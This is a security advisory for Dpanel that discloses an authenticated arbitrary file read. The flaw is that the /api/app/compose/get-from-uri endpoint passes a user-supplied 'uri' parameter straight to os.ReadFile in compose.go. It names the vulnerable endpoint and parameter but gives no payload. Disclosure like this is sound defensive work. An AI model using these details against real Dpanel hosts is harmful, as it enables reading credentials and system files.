GHSA-gcqf-pxgg-gw8q: Dpanel has an arbitrary file read vulnerability

Summary

Dpanel has an arbitrary file read vulnerability in the /api/app/compose/get-from-uri interface.Logged in to Dpanel ,this interface can be used to read arbitrary files.

Details

When a user logs into the administrative backend, this interface can read any files on the host/sever (given the necessary permissions), which may lead to system information leakage. The vulnerability lies in the GetFromUri function within the app/application/http/controller/compose.go file. The uri parameter submitted by the user in JSON format can be directly read and returned by os.ReadFile without proper security handling.
